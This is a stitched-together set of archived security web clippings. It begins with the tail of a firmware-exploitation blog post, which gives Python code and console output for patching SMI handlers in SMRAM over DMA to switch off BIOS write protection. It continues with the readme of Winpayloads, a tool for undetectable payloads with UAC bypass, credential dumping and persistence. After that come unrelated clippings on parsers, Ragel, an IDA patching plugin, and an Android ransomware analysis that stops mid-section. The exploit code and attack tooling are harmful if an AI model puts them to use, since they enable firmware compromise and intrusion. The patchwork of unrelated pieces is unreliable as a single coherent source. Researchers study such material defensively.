            raise
    
        print '[+] Patching SMI entries...'    
    
        # find SMI handlers offsets
        for ptr in find_smi_entry(data):
    
            page_offs = ptr & 0xFFF
            page_addr = ptr - page_offs
    
            # get data for single memory page
            if modified_pages.has_key(page_addr):
    
                page_data = modified_pages[page_addr]
    
            else:
    
                page_data = data[ptr : ptr + dma_expl.PAGE_SIZE]
    
            # patch first instruction of SMI entry
            page_data = page_data[: page_offs] + SMI_ENTRY_PATCH + \
                        page_data[page_offs + len(SMI_ENTRY_PATCH) :]
    
            modified_pages[page_addr] = page_data
            ret += 1
    
        for page_addr, page_data in modified_pages.items():
    
            # initialize exploit
            expl = dma_expl.DmaExpl(smram_addr + page_addr)
    
            try:
    
                # write modified page back to SMRAM
                expl.write(page_data)
                expl.close()            
    
            except Exception, e:
    
                expl.close()
                raise
    
        print '[+] DONE, %d SMI handlers patched' % ret
    
        return ret
    
[/code]

  
I made a Python program called patch\_smi\_entry.py that accepts SMRAM address
and size as command line arguments, does all the work, and reports BIOS write
enabled status.  
  
Check BIOS write protection on normally functioning SMM code:  

[code]

    localhost chipsec # python chipsec_util.py spi disable-wp
    
    [CHIPSEC] Executing command 'spi' with args ['disable-wp']
    
    [CHIPSEC] Trying to disable BIOS write protection..
    [-] Couldn't disable BIOS region write protection in SPI flash
    [CHIPSEC] (spi disable-wp) time elapsed 0.000
    
[/code]

  
Patch SMI handlers to defeat SMM code:  

[code]

    localhost ~ # python patch_smi_entry.py 0xd7000000 0x800000
    [+] BIOS_CNTL is 0x2a
    [!] Can't set BIOSWE bit, BIOS write protection is enabled
    [+] Dumping SMRAM...
    [+] Memory allocated at 0x7f614ee2b000
    [+] Physical address is 0xc973f000
    Pass 1: parsed user script and 109 library script(s) using 62172virt/36372res/4212shr/32972data kb, in 170usr/10sys/315real ms.
    Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108876virt/84540res/5632shr/79676data kb, in 810usr/440sys/13062real ms.
    Pass 3: translated to C into "/tmp/stapi26CgT/stap_06ba24e9748ef9297b5a524f191d9536_7942_src.c" using 108876virt/84684res/5776shr/79676data kb, in 190usr/50sys/251real ms.
    Pass 4: compiled C into "stap_06ba24e9748ef9297b5a524f191d9536_7942.ko" in 3550usr/310sys/6154real ms.
    Pass 5: starting run.
    [+] SystemTap script started
    [+] Reading physical memory 0xd7000000 - 0xd701dfff
    [+] Reading physical memory 0xd701e000 - 0xd703bfff
    [+] Reading physical memory 0xd703c000 - 0xd7059fff
    [+] Reading physical memory 0xd705a000 - 0xd7077fff
    [+] Reading physical memory 0xd7078000 - 0xd7095fff
    [+] Reading physical memory 0xd7096000 - 0xd70b3fff
    [+] Reading physical memory 0xd70b4000 - 0xd70d1fff
    [+] Reading physical memory 0xd70d2000 - 0xd70effff
    [+] Reading physical memory 0xd70f0000 - 0xd710dfff
    [+] Reading physical memory 0xd710e000 - 0xd712bfff
    [+] Reading physical memory 0xd712c000 - 0xd7149fff
    [+] Reading physical memory 0xd714a000 - 0xd7167fff
    [+] Reading physical memory 0xd7168000 - 0xd7185fff
    [+] Reading physical memory 0xd7186000 - 0xd71a3fff
    [+] Reading physical memory 0xd71a4000 - 0xd71c1fff
    [+] Reading physical memory 0xd71c2000 - 0xd71dffff
    [+] Reading physical memory 0xd71e0000 - 0xd71fdfff
    [+] Reading physical memory 0xd71fe000 - 0xd721bfff
    [+] Reading physical memory 0xd721c000 - 0xd7239fff
    [+] Reading physical memory 0xd723a000 - 0xd7257fff
    [+] Reading physical memory 0xd7258000 - 0xd7275fff
    [+] Reading physical memory 0xd7276000 - 0xd7293fff
    [+] Reading physical memory 0xd7294000 - 0xd72b1fff
    [+] Reading physical memory 0xd72b2000 - 0xd72cffff
    [+] Reading physical memory 0xd72d0000 - 0xd72edfff
    [+] Reading physical memory 0xd72ee000 - 0xd730bfff
    [+] Reading physical memory 0xd730c000 - 0xd7329fff
    [+] Reading physical memory 0xd732a000 - 0xd7347fff
    [+] Reading physical memory 0xd7348000 - 0xd7365fff
    [+] Reading physical memory 0xd7366000 - 0xd7383fff
    [+] Reading physical memory 0xd7384000 - 0xd73a1fff
    [+] Reading physical memory 0xd73a2000 - 0xd73bffff
    [+] Reading physical memory 0xd73c0000 - 0xd73ddfff
    [+] Reading physical memory 0xd73de000 - 0xd73fbfff
    [+] Reading physical memory 0xd73fc000 - 0xd7419fff
    [+] Reading physical memory 0xd741a000 - 0xd7437fff
    [+] Reading physical memory 0xd7438000 - 0xd7455fff
    [+] Reading physical memory 0xd7456000 - 0xd7473fff
    [+] Reading physical memory 0xd7474000 - 0xd7491fff
    [+] Reading physical memory 0xd7492000 - 0xd74affff
    [+] Reading physical memory 0xd74b0000 - 0xd74cdfff
    [+] Reading physical memory 0xd74ce000 - 0xd74ebfff
    [+] Reading physical memory 0xd74ec000 - 0xd7509fff
    [+] Reading physical memory 0xd750a000 - 0xd7527fff
    [+] Reading physical memory 0xd7528000 - 0xd7545fff
    [+] Reading physical memory 0xd7546000 - 0xd7563fff
    [+] Reading physical memory 0xd7564000 - 0xd7581fff
    [+] Reading physical memory 0xd7582000 - 0xd759ffff
    [+] Reading physical memory 0xd75a0000 - 0xd75bdfff
    [+] Reading physical memory 0xd75be000 - 0xd75dbfff
    [+] Reading physical memory 0xd75dc000 - 0xd75f9fff
    [+] Reading physical memory 0xd75fa000 - 0xd7617fff
    [+] Reading physical memory 0xd7618000 - 0xd7635fff
    [+] Reading physical memory 0xd7636000 - 0xd7653fff
    [+] Reading physical memory 0xd7654000 - 0xd7671fff
    [+] Reading physical memory 0xd7672000 - 0xd768ffff
    [+] Reading physical memory 0xd7690000 - 0xd76adfff
    [+] Reading physical memory 0xd76ae000 - 0xd76cbfff
    [+] Reading physical memory 0xd76cc000 - 0xd76e9fff
    [+] Reading physical memory 0xd76ea000 - 0xd7707fff
    [+] Reading physical memory 0xd7708000 - 0xd7725fff
    [+] Reading physical memory 0xd7726000 - 0xd7743fff
    [+] Reading physical memory 0xd7744000 - 0xd7761fff
    [+] Reading physical memory 0xd7762000 - 0xd777ffff
    [+] Reading physical memory 0xd7780000 - 0xd779dfff
    [+] Reading physical memory 0xd779e000 - 0xd77bbfff
    [+] Reading physical memory 0xd77bc000 - 0xd77d9fff
    [+] Reading physical memory 0xd77da000 - 0xd77f7fff
    [+] Reading physical memory 0xd77f8000 - 0xd77fffff
    [+] DONE
    [+] Patching SMI entries...
    SMI entry found at 0x3f6000
    SMI entry found at 0x3f6800
    SMI entry found at 0x3f7000
    SMI entry found at 0x3f7800
    SMI entry found at 0x3f8000
    [+] Memory allocated at 0x7f614a470000
    [+] Physical address is 0x3ef092000
    Pass 1: parsed user script and 109 library script(s) using 62176virt/36352res/4192shr/32976data kb, in 160usr/10sys/172real ms.
    Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84616res/5708shr/79680data kb, in 790usr/200sys/995real ms.
    Pass 3: translated to C into "/tmp/stapEg28Q9/stap_b74b06d8681a8605cef014148ae17b5b_7943_src.c" using 108880virt/84744res/5836shr/79680data kb, in 180usr/60sys/237real ms.
    Pass 4: compiled C into "stap_b74b06d8681a8605cef014148ae17b5b_7943.ko" in 3530usr/280sys/5236real ms.
    Pass 5: starting run.
    [+] SystemTap script started
    [+] Writing physical memory 0xd73f6000 - 0xd73f6fff
    [+] DONE
    [+] Memory allocated at 0x7f614ee2b000
    [+] Physical address is 0x3f3bcf000
    Pass 1: parsed user script and 109 library script(s) using 62176virt/36284res/4124shr/32976data kb, in 160usr/10sys/173real ms.
    Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84532res/5628shr/79680data kb, in 790usr/200sys/995real ms.
    Pass 3: translated to C into "/tmp/stapaurR1A/stap_f296db5c81c5158e1ac0e155bbaaf3b6_7943_src.c" using 108880virt/84660res/5756shr/79680data kb, in 180usr/60sys/233real ms.
    Pass 4: compiled C into "stap_f296db5c81c5158e1ac0e155bbaaf3b6_7943.ko" in 3530usr/260sys/6606real ms.
    Pass 5: starting run.
    [+] SystemTap script started
    [+] Writing physical memory 0xd73f7000 - 0xd73f7fff
    [+] DONE
    [+] Memory allocated at 0x7f614a470000
    [+] Physical address is 0x3ef096000
    Pass 1: parsed user script and 109 library script(s) using 62176virt/36396res/4236shr/32976data kb, in 160usr/10sys/172real ms.
    Pass 2: analyzed script: 1 probe(s), 14 function(s), 4 embed(s), 2 global(s) using 108880virt/84656res/5752shr/79680data kb, in 790usr/200sys/997real ms.
    Pass 3: translated to C into "/tmp/stapXeWg7I/stap_5ab1311d1369a5f00c3287bf44fa61aa_7943_src.c" using 108880virt/84784res/5880shr/79680data kb, in 190usr/50sys/236real ms.
    Pass 4: compiled C into "stap_5ab1311d1369a5f00c3287bf44fa61aa_7943.ko" in 3530usr/270sys/4677real ms.
    Pass 5: starting run.
    [+] SystemTap script started
    [+] Writing physical memory 0xd73f8000 - 0xd73f8fff
    [+] DONE
    [+] DONE, 4 SMI handlers patched
    [+] BIOS_CNTL is 0x2a
    [+] BIOSWE bit was set, BIOS write protection is disabled now
    
[/code]

  
Verify that BIOS write protection is disabled now:  

[code]

    localhost chipsec # python chipsec_util.py spi disable-wp
    
    [CHIPSEC] Executing command 'spi' with args ['disable-wp']
    
    [CHIPSEC] Trying to disable BIOS write protection..
    [+] BIOS region write protection is disabled in SPI flash
    [CHIPSEC] (spi disable-wp) time elapsed 0.000
    
[/code]

  
Please note, that before running DMA attack code you also need to run
boot\_script\_table CHIPSEC module to exploit UEFI boot script table
vulnerability and disable TSEGMB protection, in other case — execution of
patch\_smi\_entry.py or dma\_expl.py can lead to unexpected behaviour \(for
example, freeze your system\) during properly locked SMRAM read or write
attempt.  
  
To play with this attack on my test hardware in more convenient way I
installed Gentoo Linux with properly configured kernel on USB flash drive and
copied there CHIPSEC code with all of the necessary stuff.  
  

<img src='img/apple-test.jpg' width='280' height='196' />

Running dma\_expl.py on MacBook Pro

  
My Apple MacBook Pro 10,2 \(that also has UEFI boot script table
vulnerability\) is immune to SMI entry patch because instead of BIOS\_CNTL it
implements flash write protection using SPI Protected Range registers that not
relies on SMM at all. However, dma\_expl.py program supports this Apple
hardware and I was able to dump it's SMRAM contents which might be useful for
other research purposes like security audit of SMM code.  
  

###  Appendix

  
Some time ago there was two similar works about SMM code vulnerabilities: "A
New Class of Vulnerabilities in SMI Handlers" by Intel Security and "How Many
Million BIOSes Would you Like to Infect?" by LegbaCore. Authors of these works
discovered a lot of vulnerabilities in software SMI handlers that was
registered by firmware code using EFI\_SMM\_SW\_DISPATCH2\_PROTOCOL, such
handlers can be triggered by operating system with writing a handler number
into the AMPC I/O port B2h.  
  
To audit SMM code of my machines for such class of vulnerabilities I also made
a two Python scripts that reads dumped SMRAM contents and finds all of the
registered SW SMI handlers with it's numbers. Probably, you also might find it
useful.  
  
For Intel DQ77KB:  

[code]

    '''
    Extract SW SMI handlers information from SMRAM dump.
    Example:
    
    $ python smi_handlers.py TSEG.bin
    0xcc: 0xd70259d8
    0xb8: 0xd706673c
    0xba: 0xd706e970
    0x05: 0xd706b474
    0x04: 0xd706b45c
    0x03: 0xd706b2e0
    0x01: 0xd706b2dc
    0xa1: 0xd70664c4
    0xa0: 0xd706636c
    0x40: 0xd70254f8
    
    '''
    import sys, os, struct
    
    def main():
    
        path = sys.argv[1]
        data = open(path, 'rb').read()
    
        for i in range(len(data)):
    
            # get range from string
            data_at = lambda offs, size: data[i + offs : i + offs + size]
    
            #
            # 00: "SMIH"
            # 04: handler address (qword)
            # 0c: SW SMI value (byte)
            #
            if data_at(0, 4) == 'SMIH':
    
                addr, val = struct.unpack('QB', data_at(4, 8 + 1))
    
                if val != 0 and addr < 0xffffffff:
    
                    print '0x%.2x: 0x%.8x' % (val, addr)
    
    
    if __name__ == '__main__':
    
        sys.exit(main())
    
[/code]

  
For Apple MacBookPro 10,2:  

[code]

    '''
    Extract SW SMI handlers information from SMRAM dump.
    Example:
    
    $python smi_handlers.py TSEG.bin
    0x25: 0x893aaca0
    0x48: 0x893a3170
    0x01: 0x893a831c
    0x05: 0x893a7fa0
    0x03: 0x893a7e46
    0xf1: 0x893a7dd5
    0xf0: 0x893a7b76
    
    '''
    import sys, os, struct
    
    def main():
    
        path = sys.argv[1]
        data = open(path, 'rb').read()    
    
        for i in range(len(data)):
    
            # get range from string
            data_at = lambda offs, size: data[i + offs : i + offs + size]
    
            #
            # 00: "DBRC"
            # 68: handler address (qword)
            # 70: SW SMI value (byte)
            #
            if data_at(0, 4) == 'DBRC':
    
                addr = struct.unpack('Q', data_at(0x68, 8))[0]
                val = struct.unpack('B', data_at(0x70, 1))[0]
    
                if val != 0 and addr < 0xffffffff:
    
                    print '0x%.2x: 0x%.8x' % (val, addr)
    
    if __name__ == '__main__':
    
        sys.exit(main())
    
[/code]

  
I updated GitHub repository of my UEFI boot script table exploit with DMA
attack and SMI entry patch code, have a fun :\)

Сr4sh

42

  

# project-everest/everparse: Automated generation of provably secure, zero-
copy parsers from format specifications

**Created:**| _5/18/2021 5:46:23 PM_  
---|---  
**Updated:**| _5/18/2021 5:46:23 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# EverParse

Linux | Windows  
---|---  
<img src='img/68747470733a2f2f6d73722d70726f6a6563742d657665726573742e76697375616c73747564696f2e636f6d2f457665726573742f5f617069732f6275696c642f7374617475732f517561636b794475636b792f517561636b794475636b792d4c696e75783f6272616e63684e616d653d6d6173746572' width='181' height='20' /> | <img src='img/68747470733a2f2f6d73722d70726f6a6563742d657665726573742e76697375616c73747564696f2e636f6d2f457665726573742f5f617069732f6275696c642f7374617475732f517561636b794475636b792f517561636b794475636b792d4c696e75783f6272616e63684e616d653d6d6173746572' width='181' height='20' />  
EverParse is a framework for generating verified secure parsers from DSL
format specification languages. It consists of LowParse, a verified combinator
library \(in `src/lowparse`\), and QuackyDucky, an untrusted message format
specification language compiler.

# nccgroup/Winpayloads

**Created:**| _7/17/2017 11:19:06 AM_  
---|---  
**Updated:**| _7/17/2017 11:19:06 AM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

  

# Winpayloads - Python2.7

Undetectable Windows Payload Generation with extras Running on Python2.7

## As usual, Don't upload payloads to any online virus checkers

  * Virus Total Detection - Updated 30/9/2016 - Detected by 8 AV https://www.virustotal.com/en/file/23a24f99c3c6c00cd4bf6cb968f813ba2ceadfa846c7f169f412bcbb71ba6573/analysis/1475232549/

## Features

  * UACBypass - PowerShellEmpire https://github.com/PowerShellEmpire/Empire/raw/master/data/module\_source/privesc/Invoke-BypassUAC.ps1 Copyright \(c\) 2015, Will Schroeder and Justin Warner. All rights reserved.
  * PowerUp - PowerShellEmpire https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 Copyright \(c\) 2015, Will Schroeder and Justin Warner. All rights reserved.
  * Invoke-Shellcode https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 Copyright \(c\) 2012, Matthew Graeber. All rights reserved.
  * Invoke-Mimikatz https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1 Copyright \(c\) 2012, Matthew Graeber. All rights reserved.
  * Invoke-EventVwrBypass https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1 Matt Nelson \(@enigma0x3\)
  * Persistence - Adds payload persistence on reboot
  * Psexec Spray - Spray hashes until successful connection and psexec payload on target
  * Upload to local webserver - Easy deployment
  * Powershell stager - allows invoking payloads in memory & more

## Check out the Wiki for installation and more\!

https://github.com/nccgroup/Winpayloads/wiki

<img src='img/2016-02-16 10_12_29-Kali2 - VMware Workstation.png' width='888'
height='404' alt='alt tag' />

# Video and Information on Blog \(OUTDATED\)

https://charliedean.github.io

  

# Comparison of “WannaCry" malware with North Korea's malware

**Created:**| _5/20/2017 9:02:02 PM_  
---|---  
**Updated:**| _5/20/2017 9:02:13 PM_  
**Author:**| _wishi_  
**Tags:**| _Malware-analysis similarity_  
  

<img src='img/WannaCry with NK.pdf' />  

# Hello World in Ragel/C\# « Matt on Rails

**Created:**| _1/18/2013 9:02:59 AM_  
---|---  
**Updated:**| _1/18/2013 9:02:59 AM_  
**Author:**| __  
**Tags:**| _programming C\# parser code-gen_  
  

I’m trying to get started with Ragel, and found a hello world example for ruby
that got me past Go. Since the C\# example was a bit different, I thought I’d
share what I came up with.

  
1 **%%\{**  
2  **machine** hello;  
3  expr = ‘h’;  
4  main := expr **@** \{ Console.Out.WriteLine\("greetings\!"\); \} ;  
5 **\}%%**  
6  
7 **using** System;  
8  
9 **namespace** Mab.Test  
10 \{  
11  **public** **class** Hello  
12  \{  
13 **%%** **write** **data** ;  
14  **public** **static** **void** Main\(string \[\] args\)  
15  \{  
16  **foreach**\(var arg **in** args\)  
17  \{  
18  Console.WriteLine\("\*\*\*\*\* " \+ arg + " \*\*\*\*\*\*"\);  
19  Run\(arg\);  
20  \}  
21  \}  
22  
23  **private** **static** **void** Run\(String data\)  
24  \{  
25  **int** cs;  
26  **int** p = 0;  
27  **int** pe = data.Length;  
28   _// init:_  
29  **%%** **write** **init** ;  
30   _// exec:_  
31  **%%** **write** **exec** ;  
32  \}  
33  \}  
34 \}  

To see how it works, save the following code to Hello.rl and run these
commands:

[code]

    ragel -A Hello.rl
    csc /t:exe /out:test.exe Hello.cs
    test.exe a h z
[/code]

About these ads

★Like

Be the first to like this.

# The Other Kind of Patch | NYU Poly ISIS Lab
**Created:**| _4/4/2014 1:28:10 PM_  
---|---  
**Updated:**| _4/4/2014 1:28:10 PM_  
**Author:**| __  
**Tags:**| _iDA binary_  
  

# The Other Kind of Patch

IDAPython is an IDA plugin which allows Python scripts to access IDA’s API,
IDC, and all the modules already in Python. Most importantly, IDAPython allows
us to manipulate IDA’s disassembly programmatically without leaving the
familiarity of Python.

During capture the flags and throughout the process of reverse engineering,
simple, easy binary patching is desired. A common approach is to search
through a file in a hex editor for a given set of bytes and modify them for
the desired effect. This is very often guess work and can become unnecessarily
complicated. OllyDbg allows you to assemble an instruction at a given address.
Slightly better, but OllyDbg has only recently begun supporting x86\_64.
Reverse engineers shouldn’t be limited by the supported architectures of their
tools.

We at the ISIS lab have written what we call Fentanyl. Fentanyl is ISIS’s IDA
patching plugin. With it, patches can be applied to IDA’s disassembly straight
from its console window, from keyboard shortcuts, or with an optional context
menu. Basically, right click to patch. Save. Done.

<img src='img/Temp2_8228.gif' alt='Demonstrating some patching in Fentanyl' />

Using Fentanyl to patch out the CMU bomb lab’s explode\_bomb function

Fentanyl exposes shortcuts for nopping out instructions, xrefs to a given
address, inverting jumps, saving the binary, and assembling instructions.
Since binary modification is often a tricky business, Fentanyl also allows a
user to undo and redo modifications to the idb.

<img src='img/Temp2_8229.gif' alt='Assembling new instructions into a binary
is easy with Fentanyl' />

Assembling new instructions into a binary is easy with Fentanyl

In addition to patching using the aforementioned methods, Fentanyl also
exposes other functionality to automate tasks.

The first of which is “binary neutering.” This involves automatically patching
out functions which make debugging binaries annoying. At the moment neutering
removes calls to fork, alarm, setuid, setgid, getpwnam, setgroups, and chdir.

<img src='img/Temp2_8226.gif' alt='Demonstrating Fentanyl's binary neutering
feature' />

Demonstrating Fentanyl’s binary neutering feature

A slightly less patching oriented feature, Fentanyl features a code cave
finder. Code caves are sections of a binary which are executable in which we
can add our own assembly without heavily disturbing the original assembly.

<img src='img/Temp2_8227.gif' alt='Spelunky makes it easy to find code caves
in a binary' />

Spelunky makes it easy to find code caves in a binary

We’ve been making great use of Fentanyl and while it’s not a cure-all it’s
been very helpful in certain scenarios. We’d love for you to submit feature
requests and let us know what you think about Fentanyl\!

Github: https://github.com/isislab/Fentanyl

### Share this:

### Like this:

Like Loading...

This entry was posted in Uncategorized. Bookmark the permalink.

# Android Koler trojan: analysis driven by application components | My infected computer
**Created:**| _6/27/2014 4:21:57 PM_  
---|---  
**Updated:**| _6/27/2014 4:21:57 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis android_  
  

# Android Koler trojan: analysis driven by application components

<img src='img/Temp2_790.jpg' alt='Koler notes with pen & paper' />

Koler with pen and paper

While I’m reversing a malware I usually use pen and paper to write down
findings, no matter what’s the importance of any single clue. Sometimes it’s
only a particular address or a handle, but for complex malware I like to draw
a scheme with all the entities because it’s particularly useful when I have to
put together all the small pieces to complete the final puzzle. I’ve seen
malwares that are much more complicated than Koler, but the use of obfuscated
names \(Proguard is most probably used\) increased the time I spent to
understand everything .  
In my humble opinion Koler is not so interesting per se, but it’s an advice of
what a mobile malware could be in the near future. There are some nice
descriptions around the web that are almost complete in terms of general
functionalities. They all explain in few phrases the features of the malware:  
\- it sends the International Mobile Equipment Identity \(IMEI\) to a remote
server  
\- open a browser page that displays a notice about the lock status of the
device \(in your language\)  
\- claim to encrypt all the file inside the mobile phone  
\- ask for a ransom payment  
\- it somehow blocks the use of the device  
\- they all end with some tips on how to remove the trojan from the mobile
phone  
These are nice readings for sure because I like to be informed on every
possible new threats, but I also would like to learn something new in terms of
technical knowledge. My impression is that all of these articles are pretty
similar, and they all seem to be born from what I know to be the first real
article about the subject written by @kafeine.  
I’m not asking for a complete analysis \(it could require a lot of time and
too many pages to write down\), a detailed part on a specific argument or a
personal comment about specific parts could be enough.

Since of there are a lot of Android components involved in the general scheme
of this malware I decided to write a description of the methodology I used to
statically studied the malware. It’s an easy level tutorial, but I hope to
give you some hints on how to approach an Android malware directly working on
components/entities like activities, services, receivers, message handlers,
etc.  
Apk SHA is 511993D3C99719E38A6779073019DACD7178DDB9.

Activity  
_“An activity provides a user interface for a single screen in your
application”_. According to the image at the beginning of the post, there are
only two objects that are not pointed by an arrow: MainActivity and
BootStrapReceiver. What does it mean? Making the story short I can simply say
that these are two different starting points of the application. Take a look
at AndroidManifest.xml file:

| `<activity android:label="@string/appName"
android:name="com.android.MainActivity">``<intent-filter>``<action
android:name="android.intent.action.MAIN" />``<category
android:name="android.intent.category.LAUNCHER" />``</intent-
filter>``</activity>`  
---|---  
Few lines to specify the activity to launch: _com.android.MainActivity_ is the
starting point of the entire package.  
The manifest file is always the first thing you should put your hands on, it
generally shows you the path to follow.

The activity contains a lot of methods, where do I have to start from? I
normally start checking the _init_ method because it does reveal the initial
value of main variables. This is the very first method I use to check on a new
class file to study. Besides that, there are an unspecified number of various
methods, and some of them are callback methods called by the system when the
activity switches from one state to another. These are really important, you
have to take the activity life-cycle in your mind in order to better
understand the complete behavior of the activity.

<img src='img/Temp2_792.jpg' alt='Activity life cycle (from
developer.android.com)' />

Activity life cycle \(from developer.android.com\)

MainActivity defines _onCreate_ only, it’s called when the system is creating
the activity. Besides the layout initialization \(which is a must and it’s
defined calling _SetContentView_ function\) a coder can do whatever he wants
inside the method. This time _OnCreate_ is the only defined callback. The
reason is simple because the only job of the activity is to start a new
activity named LockActivity, the real starting point of the malware.

| `Intent intent = new android.content.Intent(this.getApplicationContext(),
"com.android.LockActivity");``intent.setAction("android.intent.action.VIEW");``intent.addFlags(FLAG_ACTIVITY_NEW_TASK);``this.startActivity(intent);`  
---|---  
_startActivity_ is the function used to launch the new activity. The parameter
of the function is an intent defined in the previous lines, it contains a
little description of the operations to be performed:  
\- _com.android.LockActivity_ contains the implementation of the activity  
\- set the action to be performed: it will display data to the user  
\- FLAG\_ACTIVITY\_NEW\_TASK: the author wants to launch the activity into a
new task

com.android.LockActivity  
This new activity is by far different from MainActivity because it has a
complete life cycle definition. Among all the methods you will find most of
the callbacks that are on the activity scheme: onCreate, onStart, onResume,
onPause, onStop and onDestroy. The first three methods are executed in
sequence, here’s a brief explanation of them.

_OnCreate_ : first of all it creates a new message handler class, after that
it gets the IMEI and the buildID of the malware itself. To obtain the IMEI
code it uses a method defined inside _com.android.6589y459gj4058rtgk_ class:

| `public static final java.lang.String
6589y459gj4058rtga(android.content.Context p1)
{``android.telephony.TelephonyManager tManager =
p1.getSystemService("phone");``if (!check_cast(tManager,
android.telephony.TelephonyManager)) throws ClassCastException;``String imei =
tManager.getDeviceId();``return(imei);``}`  
---|---  
The malware needs another code, buildID, which is inside one of the resources:

| `java.lang.String 6589y459gj4058rtgf =
this.getResources().getString(0x7F050003);`  
---|---  
The application resources are located inside _project/res_ folder. Strings are
generally located inside _project/res/values/strings.xml_ file:

| `<?xml version="1.0" encoding="utf-8"?>``<resources>``<string
name="appName">BaDoink</string>``<string
name="serviceName">mainserviceid</string>``<string name="lockActivityName"
/>``<string
name="buildid">C143D55D996634D1B761709372042474</string>``</resources>`  
---|---  
Four strings has been defined, what’s the one with 0x7F050003 id? The answer
is inside another xml file, a quick search reveals the reference in
_public.xml_ :

| `<?xml version="1.0" encoding="utf-8"?>``<resources>``<public
type="drawable" name="android_icon" id="0x7f020000" />``<public
type="drawable" name="app_icon" id="0x7f020001" />``<public type="drawable"
name="app_main_screen" id="0x7f020002" />``<public type="layout"
name="activity_main" id="0x7f030000" />``<public type="raw" name="pubkey"
id="0x7f040000" />``<public type="string" name="appName" id="0x7f050000"
/>``<public type="string" name="serviceName" id="0x7f050001" />``<public
type="string" name="lockActivityName" id="0x7f050002" />``<public
type="string" name="buildid" id="0x7f050003" />``<public type="array"
name="hardcodeDomains" id="0x7f060000" />``<public type="style"
name="AppTheme" id="0x7f070000" />``</resources>`  
---|---  
It’s easy to get the buildID: C143D55D996634D1B761709372042474.  
The last performed action inside the current method is to bind the service
_com.android.LockService_. The bind operation is used to start a service, I’ll
tell you later all the details about this operation.

_onStart_ : it simply sets a flag. I call it StopFlag because the value is
false when the activity starts and true on onStop.

_onResume_ :

| `protected void onResume() {``super->onResume(); // Necessary and required
by the system``6589y459gj4058rtga = false; // PauseFlag``6589y459gj4058rtgf();
// Send CHECK_FOR_UNLOCK message to message handler``v0
=com.android.LockService.6589y459gj4058rtgd();``if (v0 != null) goto
_32;``return;``_32:``v0.6589y459gj4058rtgb();``return;``}`  
---|---  
The most important part of the method is the last:

| `v0
=com.android.LockService.6589y459gj4058rtgd();``v0.6589y459gj4058rtgb();`  
---|---  
I’ll discuss the LockService later but at the moment it’s important to spend
some time over these two lines of code. The first line calls a method inside
LockService, it’s declared as:

| `public static declared synchronized
com.android.6589y459gj4058rtga.6589y459gj4058rtgc 6589y459gj4058rtgd()`  
---|---  
v0.6589y459gj4058rtgb\(\) is used to call 6589y459gj4058rtgb inside
com.android.6589y459gj4058rtga.6589y459gj4058rtgc, let’s take a look at this
class. Here is the output produces by my DexInspector.:

| `public interface abstract class
com.android.6589y459gj4058rtga.6589y459gj4058rtgc extends java.lang.Object
{``public abstract void 6589y459gj4058rtga()``{ }``public abstract void
6589y459gj4058rtga(com.android.6589y459gj4058rtga.6589y459gj4058rtga)``{
}``public abstract void 6589y459gj4058rtgb()``{ }``public abstract void
6589y459gj4058rtgb(com.android.6589y459gj4058rtga.6589y459gj4058rtga)``{ }``}`  
---|---  
What does it mean? Why can I see empty methods only? The class is just an
_interface_ and the code of each method is implemented inside another class.
An easy search through the classes reveals where the real code is:

| `public class com.android.6589y459gj4058rtgc.6589y459gj4058rtga extends
java.lang.Object implements com.android.6589y459gj4058rtga.6589y459gj4058rtgc
java.lang.Runnable`  
---|---  
So, now I’m able to give a meaning to the two lines of code of the onResume
method I was studying:

| `v0 =com.android.LockService.6589y459gj4058rtgd();``v0.6589y459gj4058rtgb();
// Start com.android....rtgc...rtga as a thread`  
---|---  
There are some other class defined as interface, now within few seconds you
should be able to locate the real code of every empty class.

After onResume callback the activity is in a running status, and the flow
depends on the behaviour of other entities like service, thread, human-
operation, etc.  
I can’t say too much about the other common callbacks: onPause, onStop,
onDestroy. There are a lot of conditional checks over boolean variables
because the author uses them to store the status of things like stop/run,
pause/run and so on. I’m sure you won’t have problems trying to understand the
code, just pay attention to the obfuscated names and you’ll surely understand
everything about this class.

Message handler  
LockActivity creates a new instance of _com.android.6589y459gj4058rtgp_ class
inside onCreate method, the class represents the message handler. How do I
know it? The declaration gives a big hint:

| `public class com.android.6589y459gj4058rtgp extends android.os.Handler`  
---|---  
It extends android.os.Handler. Moreover there are few methods only inside the
class and all of them are called by a method called _handleMessage_ , the name
of the public method you have to subclass in case you want to receive
messages.  
A custom message handler class doesn’t have a life cycle like an activity or a
service, you don’t have a specific entry point. I sugget to start the analysis
from the subclassed methods, in this case handleMessage because it’s the only
one.

Here is a brief analysis of handleMessage \(in order to keep the code clean
and readable I removed useless instructions/keywords from it\).

| `v3 = new Array of java.lang.Object[1] = {p1.obj}; // Read the message (p1
is the parameter)``if (p1.obj == null) goto _return; // Empty
message``instance_of(p1.obj, com.android.6589y459gj4058rtgs) ? v0=true :
v0=false; // Is it a valid message?``if (v0 != false) goto
_check_message;``_return:``return;``_check_message:`  
---|---  
Initial check over the received message, if the message is valid it proceeds
to identify it:

| `if (!check_cast(p1.obj, com.android.6589y459gj4058rtgs)) throws
ClassCastException;``v2 = com.android.6589y459gj4058rtgs.UNINSTALL;``if
(p1.obj != v2) goto _check_CHECK_FOR_UNLOCK;``// Uninstall message
received``6589y459gj4058rtgb(); // UNINSTALLMethod`  
---|---  
UNINSTALL message has been received, it handles it by calling
_6589y459gj4058rtgb_. You’ll see this piece of code some more times inside
handleMessage because there’s a check for every single type of possible
received messages. The list of the available messages is composed by:
UNINSTALL, CHECK\_FOR\_UNLOCK, SET\_UNLOCK and FIND\_VALID\_DOMAIN.  
The most interesting message is the last one because it’s called when the
malware needs to load one of the hardcoded URL located inside _arrays.xml_
file \(it’s under _res_ folder and it contains a complete list of available
URLs\).

WWW Thread  
Here’s another entity created by LockActivity, it’s referenced by the class
_com.android.6589y459gj4058rtgc.6589y459gj4058rtga_ :

